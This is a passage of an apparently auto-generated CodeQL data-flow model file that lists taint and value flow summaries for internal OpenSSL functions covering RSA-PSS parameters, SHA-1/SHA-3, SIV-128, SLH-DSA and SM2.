RSA_PSS_PARAMS_30 *)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_copy", "(RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_fromdata", "(RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_fromdata", "(RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_hashalg", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*hash_algorithm_nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_maskgenalg", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*mask_gen].Field[*algorithm_nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_maskgenhashalg", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*mask_gen].Field[*hash_algorithm_nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_saltlen", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*salt_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_set_hashalg", "(RSA_PSS_PARAMS_30 *,int)", "", "Argument[1]", "Argument[*0].Field[*hash_algorithm_nid]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_set_maskgenhashalg", "(RSA_PSS_PARAMS_30 *,int)", "", "Argument[1]", "Argument[*0].Field[*mask_gen].Field[*hash_algorithm_nid]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_set_saltlen", "(RSA_PSS_PARAMS_30 *,int)", "", "Argument[1]", "Argument[*0].Field[*salt_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_set_trailerfield", "(RSA_PSS_PARAMS_30 *,int)", "", "Argument[1]", "Argument[*0].Field[*trailer_field]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_todata", "(const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[])", "", "Argument[*0].Field[*salt_len]", "Argument[*2].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_todata", "(const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[])", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_trailerfield", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*trailer_field]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_create", "(const EVP_MD *,const EVP_MD *,int)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_pss_params_create", "(const EVP_MD *,const EVP_MD *,int)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_pss_params_create", "(const EVP_MD *,const EVP_MD *,int)", "", "Argument[2]", "ReturnValue[*].Field[**saltLength].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_to_ctx", "(EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_to_ctx", "(EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *)", "", "Argument[3]", "Argument[*1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_set0_all_params", "(RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_set0_all_params", "(RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_set0_all_params", "(RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_set0_libctx", "(RSA *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_set0_libctx", "(RSA *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_set0_pss_params", "(RSA *,RSA_PSS_PARAMS *)", "", "Argument[*1]", "Argument[*0].Field[**pss]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_set0_pss_params", "(RSA *,RSA_PSS_PARAMS *)", "", "Argument[1]", "Argument[*0].Field[*pss]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_derive_params_from_pq", "(RSA *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_derive_params_from_pq", "(RSA *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_generate_key", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_generate_key", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_generate_key", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_generate_key", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_pairwise_test", "(RSA *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_todata", "(RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_verify", "(int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *)", "", "Argument[*1]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_verify", "(int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_verify", "(int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *)", "", "Argument[2]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *)", "", "Argument[*2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *)", "", "Argument[*3]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[*10]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[*2]", "Argument[*8]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[*4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[*8]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[10]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[12]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[12]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sa_doall_arg", "(const OPENSSL_SA *,..(*)(..),void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sa_get", "(const OPENSSL_SA *,ossl_uintmax_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_sa_num", "(const OPENSSL_SA *)", "", "Argument[*0].Field[*nelem]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_sa_set", "(OPENSSL_SA *,ossl_uintmax_t,void *)", "", "Argument[1]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_drop_frames", "(SFRAME_LIST *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*offset]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**head].Field[*range]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**tail].Field[*range]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[**head].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[**tail].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**head].Field[*range]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**tail].Field[*range]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**head].Field[*pkt]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**tail].Field[*pkt]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[**head].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[**tail].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_is_head_locked", "(SFRAME_LIST *)", "", "Argument[*0].Field[*head_locked]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_lock_head", "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ossl_sframe_list_lock_head", "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_sframe_list_lock_head", "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_sframe_list_lock_head", "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_sframe_list_move_data", "(SFRAME_LIST *,sframe_list_write_at_cb *,void *)", "", "Argument[*2].Field[*alloc]", "Argument[*2].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_peek", "(const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_sha1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_sha1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1_ctrl", "(SHA_CTX *,int,int,void *)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1_ctrl", "(SHA_CTX *,int,int,void *)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1_ctrl", "(SHA_CTX *,int,int,void *)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "ossl_sha3_init", "(KECCAK1600_CTX *,unsigned char,size_t)", "", "Argument[1]", "Argument[*0].Field[*pad]", "value", "dfc-generated"] + - ["", "", True, "ossl_sha3_init", "(KECCAK1600_CTX *,unsigned char,size_t)", "", "Argument[2]", "Argument[*0].Field[*block_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_init", "(KECCAK1600_CTX *,unsigned char,size_t)", "", "Argument[2]", "Argument[*0].Field[*md_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_squeeze", "(KECCAK1600_CTX *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_squeeze", "(KECCAK1600_CTX *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bufsz]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_squeeze", "(KECCAK1600_CTX *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_update", "(KECCAK1600_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_sha3_update", "(KECCAK1600_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_update", "(KECCAK1600_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_update", "(KECCAK1600_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bufsz]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_copy_ctx", "(SIV128_CONTEXT *,SIV128_CONTEXT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[**cipher_ctx].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[**cipher_ctx].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_finish", "(SIV128_CONTEXT *)", "", "Argument[*0].Field[*final_ret]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_get_tag", "(SIV128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_siv128_init", "(SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[**cipher_ctx].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_init", "(SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[**cipher_ctx].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_new", "(const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**cipher_ctx].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_new", "(const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**cipher_ctx].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_set_tag", "(SIV128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*tag].Union[*siv_block_u]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_set_tag", "(SIV128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*tag].Union[*siv_block_u]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_hash_ctx_dup", "(const SLH_DSA_HASH_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_slh_dsa_hash_ctx_new", "(const SLH_DSA_KEY *)", "", "Argument[0]", "ReturnValue[*].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_dup", "(const SLH_DSA_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_slh_dsa_key_dup", "(const SLH_DSA_KEY *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_dup", "(const SLH_DSA_KEY *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_fromdata", "(SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_n", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*n]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_name", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[**alg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_name", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*alg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_priv", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[*priv]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_priv_len", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*n]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_pub", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**pub]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_pub", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[*pub]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_pub_len", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*n]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_sig_len", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*sig_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_type", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_new", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_new", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_new", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_new", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_priv", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pub]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_priv", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*priv]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_priv", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pub]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_priv", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*priv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_pub", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pub]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_pub", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pub]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_sign", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_sign", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_sign", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_sign", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)", "", "Argument[4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_verify", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_verify", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_verify", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_verify", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)", "", "Argument[4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_sm2_ciphertext_size", "(const EC_KEY *,const EVP_MD *,size_t,size_t *)", "", "Argument[*1].Field[*md_size]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_ciphertext_size", "(const EC_KEY *,const EVP_MD *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[*0].Field[*priv_key]", "Argument[*0].Field[**priv_key]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[*2]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", 